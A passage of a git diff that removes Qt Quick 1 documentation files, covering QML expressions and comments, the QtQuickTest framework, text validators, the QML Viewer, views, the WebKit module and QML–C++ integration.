of the -standard \l {QML Elements}. Without this import statement, the \l Rectangle -and \l Image elements would not be available. - -\section1 Expressions - -In addition to assigning values to properties, you can also assign -expressions written in JavaScript. - -\code -Rotation { - angle: 360 * 3 -} -\endcode - -These expressions can include references to other objects and properties, in which case -a \e binding is established: when the value of the expression changes, the property the -expression has been assigned to is automatically updated to that value. - -\code -Item { - Text { - id: text1 - text: "Hello World" - } - Text { - id: text2 - text: text1.text - } -} -\endcode - -In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, -\c text2 is automatically changed to the same value. - -Note that to refer to other objects, we use their \e id values. (See below for more -information on the \e id property.) - -\section1 QML Comments - -Commenting in QML is similar to JavaScript. -\list -\o Single line comments start with // and finish at the end of the line. -\o Multiline comments start with /* and finish with *\/ -\endlist - -\snippet doc/src/snippets/declarative/comments.qml 0 - -Comments are ignored by the engine. They are useful for explaining what you -are doing; for referring back to at a later date, or for others reading -your QML files. - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. - -\code -Text { - text: "Hello world!" - //opacity: 0.5 -} -\endcode - -In the above example, the Text object will have normal opacity, since the -line opacity: 0.5 has been turned into a comment. - -*/ diff --git a/doc/src/qtquick1/qmltest.qdoc b/doc/src/qtquick1/qmltest.qdoc deleted file mode 100644 index 9ef4dec111..0000000000 --- a/doc/src/qtquick1/qmltest.qdoc +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qmltest.html -\inqmlmodule QtQuick 1 - \title QtQuickTest Reference Documentation - \keyword QtQuickTest Reference Documentation - - \section1 Introduction - - QtQuickTest is a unit test framework for Qt Quick (QML) applications. - Test cases are written as JavaScript functions within a TestCase - element: - - \code - import QtQuick 2.0 - import QtTest 1.0 - - TestCase { - name: "MathTests" - - function test_math() { - compare(2 + 2, 4, "2 + 2 = 4") - } - - function test_fail() { - compare(2 + 2, 5, "2 + 2 = 5") - } - } - \endcode - - Functions whose names start with \c{test_} are treated as test cases - to be executed. See the documentation for the \l TestCase and - \l SignalSpy elements for more information on writing test cases. - - \section1 Running tests - - Test cases are launched by a C++ harness that consists of - the following code: - - \code - #include - QUICK_TEST_MAIN(example) - \endcode - - Where "example" is an identifier to use to uniquely identify - this set of tests. You should add \c{CONFIG += qmltestcase}. - for example: - - \code - TEMPLATE = app - TARGET = tst_example - CONFIG += warn_on qmltestcase - SOURCES += tst_example.cpp - \endcode - - The test harness scans the specified source directory recursively - for "tst_*.qml" files. If \c{QUICK_TEST_SOURCE_DIR} is not defined, - then the current directory will be scanned when the harness is run. - Other *.qml files may appear for auxillary QML components that are - used by the test. - - The \c{-input} command-line option can be set at runtime to run - test cases from a different directory. This may be needed to run - tests on a target device where the compiled-in directory name refers - to a host. For example: - - \code - tst_example -input /mnt/SDCard/qmltests - \endcode - - See \c{tests/qmlauto} in the source tree for an example of creating a - test harness that uses the \c{QUICK_TEST_SOURCE_DIR} macro. - - If your test case needs QML imports, then you can add them as - \c{-import} options to the the test program command-line by adding - the following line to your .pro file: - - \code - IMPORTPATH += $$PWD/../imports/my_module1 $$PWD/../imports/my_module2 - \endcode - - \section1 Running tests with QtQuick 1 - - The \c{-qtquick1} option can be passed to a test binary to run - the tests using QDeclarativeView (QtQuick 1) rather than QQuickView (QtQuick 2): - - \code - tst_example -qtquick1 - \endcode - - To run tests with either QtQuick 1 or QtQuick 2, use - "import QtQuick 1.0" in your unit tests and then specify - compatibility mode to the QtQuick2 engine: - - \code - QMLSCENE_IMPORT_NAME=quick1 tst_example - \endcode -*/ diff --git a/doc/src/qtquick1/qmltexthandling.qdoc b/doc/src/qtquick1/qmltexthandling.qdoc deleted file mode 100644 index 86a0e80723..0000000000 --- a/doc/src/qtquick1/qmltexthandling.qdoc +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page texthandling.html -\inqmlmodule QtQuick 1 -\title QML Text Handling and Validators -\ingroup QML Features -\previouspage {QML Mouse Events}{Mouse Events} -\nextpage {Keyboard Focus in QML}{Keyboard Focus} -\contentspage QML Features - -\tableofcontents - -\section1 Text Elements - -\list -\o \l{Text} -\o \l{TextInput} -\o \l{TextEdit} -\endlist - -\section1 Validators -\list -\o \l{IntValidator} -\o \l{DoubleValidator} -\o \l{RegExpValidator} -\endlist - -\section1 Displaying Text in QML -QML provides several elements to display text onto the screen. The \l Text -element will display formatted text onto the screen, the \l TextEdit element -will place a multiline line edit onto the screen, and the \l TextInput will -place a single editable line field onto the screen. - -To learn more about their specific features and properties, visit their -respective element documentation. - -\section1 Validating Input Text -The \l {Validators}{validator} elements enforce the type and format of -\l TextInput objects. - -\snippet doc/src/snippets/declarative/texthandling.qml int validator -The validator elements bind to \c {TextInput}'s \c validator property. - -\snippet doc/src/snippets/declarative/texthandling.qml regexp validator -The regular expression in the snippet will only allow the inputted text to be -\c {fruit basket}. - -Note that QML parses JavaScript regular expressions, while Qt's -\l {QRegExp} class' regular expressions are based on Perl regular expressions. - -*/ diff --git a/doc/src/qtquick1/qmlviewer.qdoc b/doc/src/qtquick1/qmlviewer.qdoc deleted file mode 100644 index d13dd37cf5..0000000000 --- a/doc/src/qtquick1/qmlviewer.qdoc +++ /dev/null @@ -1,236 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - -\page qmlviewer.html -\inqmlmodule QtQuick 1 -\title QML Viewer -\ingroup qttools - -The Declarative UI package includes \QQV, a tool for loading QML documents that -makes it easy to quickly develop and debug QML applications. It invokes the QML -runtime to load QML documents and also includes additional features useful for -the development of QML-based applications. - -The QML Viewer is a tool for testing and developing QML applications. It is -\e not intended for use in a production environment and should not be used for the -deployment of QML applications. In those cases, the QML runtime should be invoked -from a Qt application instead; see \l {Qt Declarative UI Runtime} for more -information. - -The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file -with the viewer, run the viewer and select the file to be opened, or provide the -file path on the command line: - -\code - qmlviewer myqmlfile.qml -\endcode - -On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You -can launch the viewer by opening the QMLViewer application from the Finder, or -from the command line: - -\code - QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml -\endcode - -The QML Viewer has a number of configuration options involving features such as -fullscreen display, module import path configurations, video recording of QML -animations, and OpenGL support. - -To see the configuration options, run \c qmlviewer with the \c -help argument. - - -\section1 Adding module import paths - -Additional module import paths can be provided using the \c -I flag. -For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates -a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced -identifier, the viewer has to be run with the \c -I flag from the example's -base directory: - -\code -qmlviewer -I . plugins.qml -\endcode - -This adds the current directory to the import path so that the viewer will -find the plugin in the \c com/nokia/TimeExample directory. - -Note by default, the current directory is included in the import search path, -but namespaced modules like \c com.nokia.TimeExample are not found unless -the path is explicitly added. - - -\section1 Loading translation files - -When the QML Viewer loads a QML file, it installs a translation file from a -"i18n" subdirectory relative to that initial file. This directory should contain -translation files named "qml_.qm", where is a two-letter -ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and -an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or -"qml_fr_CA.qm". - -Such files can be created using \l {Qt Linguist}. - -The actual translation file that is loaded depends on the system locale. -Additionally, the viewer will load any translation files specified on the command -line via the \c -translation option. - -See the \l{declarative/i18n}{QML i18n example} for an example. Also, the -\l{scripting.html#internationalization}{Qt Internationalization} documentation -shows how JavaScript code in QML files can be made to use translatable strings. - - -\section1 Loading placeholder data with QML Viewer - -Often, QML applications are prototyped with fake data that is later replaced -by real data sources from C++ plugins. QML Viewer assists in this aspect by -loading fake data into the application context: it looks for a directory named -"dummydata" in the same directory as the target QML file, and any \c .qml -files in that directory are loaded as QML objects and bound to the root context -as properties named after the files. - -For example, this QML document refers to a \c lottoNumbers property which does -not actually exist within the document: - -\qml -import QtQuick 1.0 - -ListView { - width: 200; height: 300 - model: lottoNumbers - delegate: Text { text: number } -} -\endqml - -If within the document's directory, there is a "dummydata" directory which -contains a \c lottoNumbers.qml file like this: - -\qml -import QtQuick 1.0 - -ListModel { - ListElement { number: 23 } - ListElement { number: 44 } - ListElement { number: 78 } -} -\endqml - -Then this model would be automatically loaded into the ListView in the previous document. - -Child properties are included when loaded from dummy data. The following document -refers to a \c clock.time property: - -\qml -import QtQuick 1.0 -Text { text: clock.time } -\endqml - -The text value could be filled by a \c dummydata/clock.qml file with a \c time -property in the root context: - -\qml -import QtQuick 1.0 -QtObject { property int time: 54321 } -\endqml - -To replace this with real data, you can simply bind the real data object to -the root context in C++ using QDeclarativeContext::setContextProperty(). This -is detailed in \l {Using QML Bindings in C++ Applications}. - -\section1 Using the \c runtime object - -QML applications that are loaded with the QML Viewer have access to a special -\c runtime property on the root context. This property provides additional -information about the application's runtime environment through the following properties: - -\table -\row - -\o \c runtime.isActiveWindow - -\o This property indicates whether the QML Viewer window is the current active -window on the system. It is useful for "pausing" an application, particularly -animations, when the QML Viewer loses focus or moves to the background. - -For example, the following animation is only played when the QML Viewer is -the active window: - -\qml -Rectangle { - width: 200; height: 200 - - ColorAnimation on color { - running: runtime.isActiveWindow - loops: Animation.Infinite - from: "green"; to: "blue"; duration: 2000 - } -} -\endqml - -\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, -through the \c active property of the \l {QML:Qt::application}{Qt.application} object. - -\row - -\o \c runtime.orientation - -\o This property indicates the current orientation of the QML Viewer. -This indicates the orientation currently selected in the QML Viewer's -\e {Settings -> Properties} menu. The \c orientation value can be one of the following: - -\list -\o \c Orientation.Portrait -\o \c Orientation.Landscape -\o \c Orientation.PortraitInverted (Portrait orientation, upside-down) -\o \c Orientation.LandscapeInverted (Landscape orientation, upside-down) -\endlist - -When the viewer's orientation changes, the appearance of the loaded QML document -does not change unless it has been set to respond to changes in -\c runtime.orientation. For example, the following Rectangle changes its -aspect ratio depending on the orientation of the QML Viewer: - -\qml -Rectangle { - id: window - width: 640; height: 480 - - states: State { - name: "landscape" - PropertyChanges { target: window; width: 480; height: 640 } - } - state: (runtime.orientation == Orientation.Landscape - || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : '' -} -\endqml - -\endtable - -*/ - diff --git a/doc/src/qtquick1/qmlviews.qdoc b/doc/src/qtquick1/qmlviews.qdoc deleted file mode 100644 index 11af6f44a1..0000000000 --- a/doc/src/qtquick1/qmlviews.qdoc +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-views.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Data Models}{Structuring Data with Models} -\nextpage {Extending QML Functionalities using C++} -\title Presenting Data with Views - -Views are containers for collections of items. They are feature-rich and can be -customizable to meet style or behavior requirements. - -\keyword qml-view-elements -A set of standard views are provided in the basic set of Qt Quick -graphical elements: - -\list -\o \l{ListView} arranges items in a horizontal or vertical list -\o \l{GridView} arranges items in a grid within the available space -\o \l{PathView} arranges items on a path -\o \l{WebView}{WebView} - available from the \l {QtWebKit QML Module}. -\endlist -Unlike other views, \l WebView is not a fully-featured view item, and needs -to be combined with a \l Flickable item to create a view that performs like -a Web browser. - -These elements have properties and behaviors exclusive to each element. Visit -their respective documentation for more information. - -\section1 Models - -Views display \l{qml-data-models}{models} onto the screen. A model could be a simple list of \l{QML Data Models#An Integer}{integer} or a \l{qml-c++-models}{C++ model}. - -To assign a model to a view, bind the view's \c model property to a model. -\snippet doc/src/snippets/declarative/listview.qml model -\snippet doc/src/snippets/declarative/listview.qml model - -For more information, consult the \l {QML Data Models} article. - -\keyword qml-view-delegate -\section1 View Delegates - -Views need a \e delegate to visually represent an item in a list. A view will -visualize each item list according to the template defined by the delegate. -Items in a model are accessible through the \c index property as well as the -item's properties. -\snippet doc/src/snippets/declarative/listview.qml delegate -\image listview-setup.png - -\section1 Decorating Views - -Views allow visual customization through \e decoration properties such as the \c header, \c footer, and \c section properties. By binding an object, usually -another visual object, to these properties, the views are decoratable. A footer -may include a \l Rectangle element showcasing borders or a header that displays -a logo on top of the list. - -Suppose that a specific club wants to decorate its members list with its brand -colors. A member list is in a \c model and the \c delegate will display the -model's content. -\snippet doc/src/snippets/declarative/listview-decorations.qml model -\snippet doc/src/snippets/declarative/listview-decorations.qml delegate - -The club may decorate the members list by binding visual objects to the -\c header and \c footer properties. The visual object may be defined inline, in another file, or in a -\l {Component} element. -\snippet doc/src/snippets/declarative/listview-decorations.qml decorations -\image listview-decorations.png - -\section1 Mouse/touch Handling - -The views handle dragging and flicking of their content, however they do -not handle touch interaction with the individual delegates. In order for the -delegates to react to touch input, e.g. to set the \c currentIndex, a MouseArea -with the appropriate touch handling logic must be provided by the delegate. - -Note that if \c highlightRangeMode is set to \c StrictlyEnforceRange the -currentIndex will be affected by dragging/flicking the view, since the view -will always ensure that the \c currentIndex is within the highlight range -specified. - - -\section1 ListView Sections - -\l {ListView} contents may be grouped into \e sections, where related list items -are labeled according to their sections. Further, the sections may be decorated -with \l{qml-view-delegate}{delegates}. - -A list may contain a list indicating people's names and the team on which team -the person belongs. -\snippet doc/src/snippets/declarative/listview-sections.qml model -\snippet doc/src/snippets/declarative/listview-sections.qml delegate - -The ListView element has the \c section -\l{Property Binding#Attached Properties}{attached property} that can combine -adjacent and related elements into a section. The section's \c property -property is for selecting which list element property to use as sections. -The \c criteria can dictate how the section names are displayed and the -\c delegate is similar to the views' \l {qml-view-delegate}{delegate} property. -\snippet doc/src/snippets/declarative/listview-sections.qml section -\image listview-section.png -*/ diff --git a/doc/src/qtquick1/qmlwebkit.qdoc b/doc/src/qtquick1/qmlwebkit.qdoc deleted file mode 100644 index b86c4634c2..0000000000 --- a/doc/src/qtquick1/qmlwebkit.qdoc +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlwebkit.html -\inqmlmodule QtQuick 1 - -\title QtWebKit QML Module - -Qt WebKit QML - -\section1 WebKit QML Elements -\list -\o \l WebView -\endlist - -\section1 QtWebKit Module -The QtWebKit Module has a QML element, \l{WebView} for displaying web content -from a \c URL. - -Import the QtWebKit module before declaring a \c WebView element: -\snippet doc/src/snippets/declarative/webview/webview.qml import - -\section1 Simple Usage -\snippet doc/src/snippets/declarative/webview/webview.qml document -\image webview.png - -\sa {Models and Views: WebView Example}{WebView Example}, {QML Web Browser} -*/ diff --git a/doc/src/qtquick1/qtbinding.qdoc b/doc/src/qtquick1/qtbinding.qdoc deleted file mode 100644 index 5c5915bb12..0000000000 --- a/doc/src/qtquick1/qtbinding.qdoc +++ /dev/null @@ -1,670 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtbinding.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\previouspage {Extending QML Functionalities using C++} -\nextpage {Integrating QML Code with Existing Qt UI Code} -\contentspage QML Features -\title Using QML Bindings in C++ Applications - -QML is designed to be easily extensible to and from C++. The classes in the -Qt Declarative module allow QML components to be loaded and manipulated from C++, and through -Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily -communicate through Qt signals and slots. In addition, QML plugins can be written to create -reusable QML components for distribution. - -You may want to mix QML and C++ for a number of reasons. For example: - -\list -\o To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or -calling functions in a third-party C++ library) -\o To access functionality in the Qt Declarative module (for example, to dynamically generate -images using QDeclarativeImageProvider) -\o To write your own QML elements (whether for your applications, or for distribution to others) -\endlist - -To use the Qt Declarative module, you must include and link to the module appropriately, as shown on -the \l {QtDeclarative}{module index page}. The \l {Qt Declarative UI Runtime} documentation -shows how to build a basic C++ application that uses this module. - - -\section1 Core module classes - -The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and -embedding QML into C++ applications. There are several core classes in the Qt Declarative module -that provide the essential capabilities for doing this. These are: - -\list -\o QDeclarativeEngine: A QML engine provides the environment for executing QML code. Every -application requires at least one engine instance. -\o QDeclarativeComponent: A component encapsulates a \l{QML Documents}{QML document}. -\o QDeclarativeContext: A context allows an application to expose data to the QML components -created by an engine. -\endlist - -A QDeclarativeEngine allows the configuration of global settings that apply to all of its QML -component instances: for example, the QNetworkAccessManager to be used for network communications, -and the file path to be used for persistent storage. - -QDeclarativeComponent is used to load QML documents. Each QDeclarativeComponent instance represents -a single document. A component can be created from the URL or file path of a QML document, or the raw -QML code of the document. Component instances are instatiated through the -QDeclarativeComponent::create() method, like this: - -\code -QDeclarativeEngine engine; -QDeclarativeComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); -QObject *rectangleInstance = component.create(); - -// ... -delete rectangleInstance; -\endcode - -QML documents can also be loaded using QDeclarativeView. This class provides a convenient -QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other -methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt -UI code}.) - - -\section1 Approaches to using QML with C++ - -There are a number of ways to extend your QML application through C++. For example, you could: - -\list -\o Load a QML component and manipulate it (or its children) from C++ -\o Embed a C++ object and its properties directly into a QML component (for example, to make a -particular C++ object callable from QML, or to replace a dummy list model with a real data set) -\o Define new QML elements (through QObject-based C++ classes) and create them directly from your -QML code -\endlist - -These methods are shown below. Naturally these approaches are not exclusive; you can mix any of -these methods throughout your application as appropriate. - - -\section2 Loading QML Components from C++ - -A QML document can be loaded with QDeclarativeComponent or QDeclarativeView. QDeclarativeComponent -loads a QML component as a C++ object; QDeclarativeView also does this, -but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading -a displayable QML component into a QWidget-based application. - -For example, suppose there is a \c MyItem.qml file that looks like this: - -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end - -This QML document can be loaded with QDeclarativeComponent or QDeclarativeView with the following -C++ code. Using a QDeclarativeComponent requires calling QDeclarativeComponent::create() to create -a new instance of the component, while a QDeclarativeView automatically creates an instance of the -component, which is accessible via QDeclarativeView::rootObject(): - -\table -\row -\o -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-a -\dots 0 -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-b -\o -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeView -\endtable - -This \c object is the instance of the \c MyItem.qml component that has been created. You can now -modify the item's properties using QObject::setProperty() or QDeclarativeProperty: - -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp properties - -Alternatively, you can cast the object to its actual type and call functions with compile-time -safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the -QDeclarativeItem class: - -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp cast - -You can also connect to any signals or call functions defined in the component using -QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++} -below for further details. - -\section3 Locating child objects - -QML components are essentially object trees with children that have siblings and their own children. -Child objects of QML components can be located using the QObject::objectName property with -QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item: - -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start -\codeline -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml child -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end - -The child could be located like this: - -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp findChild - -If \c objectName is used inside a delegate of a ListView, \l Repeater or some other -element that creates multiple instances of its delegates, there will be multiple children with -the same \c objectName. In this case, QObject::findChildren() can be used to find all children -with a matching \c objectName. - -\warning While it is possible to use C++ to access and manipulate QML objects deep into the -object tree, we recommend that you do not take this approach outside of application -testing and prototyping. One strength of QML and C++ integration is the ability to implement the -QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the -C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult -to, for example, swap a QML view component for another view, if the new component was missing a -required \c objectName. It is better for the C++ implementation to know as little as possible about -the QML user interface implementation and the composition of the QML object tree. - - -\section2 Embedding C++ Objects into QML Components - -When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into -the QML object. QDeclarativeContext enables this by exposing data to the context of a QML -component, allowing data to be injected from C++ into QML. - -For example, here is a QML item that refers to a \c currentDateTime value that does not exist in -the current scope: - -\snippet doc/src/snippets/declarative/qtbinding/context/MyItem.qml 0 - -This \c currentDateTime value can be set directly by the C++ application that loads the QML -component, using QDeclarativeContext::setContextProperty(): - -\snippet doc/src/snippets/declarative/qtbinding/context/main.cpp 0 - -Context properties can hold either QVariant or QObject* values. This means custom C++ objects can -also be injected using this approach, and these objects can be modified and read directly in QML. -Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code -invokes a method on the object instance: - -\table -\row -\o -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h 0 -\codeline -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp 0 -\o -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml 0 -\endtable - -(Note that date/time values returned from C++ to QML can be formatted through -\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) - -If the QML item needs to receive signals from the context property, it can connect to them using the -\l Connections element. For example, if \c ApplicationData has a signal named \c -dataChanged(), this signal can be connected to using an \c onDataChanged handler within -a \l Connections object: - -\snippet doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml 0 - -Context properties can be useful for using C++ based data models in a QML view. See the -\l {declarative/modelviews/stringlistmodel}{String ListModel}, -\l {declarative/modelviews/objectlistmodel}{Object ListModel} and -\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for -respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel -in QML views. - -Also see the QDeclarativeContext documentation for more information. - - -\section2 Defining New QML Elements - -While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be -defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through -C++ classes. When you create a QML object using one of these elements, you are simply creating an -instance of a QObject-based C++ class and setting its properties. - -To create a visual item that fits in with the Qt Quick elements, base your class off \l QDeclarativeItem instead of QObject directly. -You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QDeclarativeItem because -it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). - -For example, here is an \c ImageViewer class with an \c image URL property: - -\snippet doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h 0 - -Aside from the fact that it inherits QDeclarativeItem, this is an ordinary class that could -exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType(): - -\snippet doc/src/snippets/declarative/qtbinding/newelements/main.cpp register - -Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlugin}{plugin} can create and manipulate -\c ImageViewer objects: - -\snippet doc/src/snippets/declarative/qtbinding/newelements/standalone.qml 0 - - -It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem. -This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. -To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarativeItem where possible. Properties QDeclarativeItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. - -Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is -a displayable item. If the item is not displayable, it can simply inherit from QObject. - -For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++} -{Writing QML extensions with C++} tutorial and the -\l {Extending QML Functionalities using C++} reference documentation. - - - -\section1 Exchanging Data between QML and C++ - -QML and C++ objects can communicate with one another through signals, slots and property -modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System} -- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On -the QML side, all QML object data is automatically made available to the meta-object system and can -be accessed from C++. - - -\section2 Calling Functions - -QML functions can be called from C++ and vice-versa. - -All QML functions are exposed to the meta-object system and can be called using -QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function: - -\table -\row -\o \snippet doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml 0 -\o \snippet doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp 0 -\endtable - -Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as -QVariant types, as this is the generic data type used for QML functions and return values. - -To call a C++ function from QML, the function must be either a Qt slot, or a function marked with -the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes -methods on the \c myObject object, which has been set using QDeclarativeContext::setContextProperty(): - -\table -\row -\o -\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml 0 -\o -\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h 0 -\codeline -\snippet doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp 0 -\endtable - -QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the -same name but different arguments, the correct function will be called according to the number and -the types of arguments that are provided. - - -\section2 Receiving Signals - -All QML signals are automatically available to C++, and can be connected to using QObject::connect() -like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using -\l {Signal Handlers}{signal handlers}. - -Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's -slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal -is emitted: - -\table -\row -\o -\snippet doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml 0 -\o -\snippet doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h 0 -\codeline -\snippet doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp 0 -\endtable - -To connect to Qt C++ signals from within QML, use a signal handler with the \c on syntax. -If the C++ object is directly creatable from within QML (see \l {Defining new QML elements} above) -then the signal handler can be defined within the object declaration. In the following example, the -QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the -C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML: - -\table -\row -\o - -\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h start -\dots 4 -\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h end - -\o -\snippet doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml 0 -\endtable - -(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be -received with an \c onChanged handler even if the signal's name does not follow the \c -Changed naming convention. In the above example, if the "imageChanged" signal was named -"imageModified" instead, the \c onImageChanged signal handler would still be called.) - -If, however, the object with the signal is not created from within the QML code, and the QML item only has a -reference to the created object - for example, if the object was set using -QDeclarativeContext::setContextProperty() - then the \l Connections element can be used 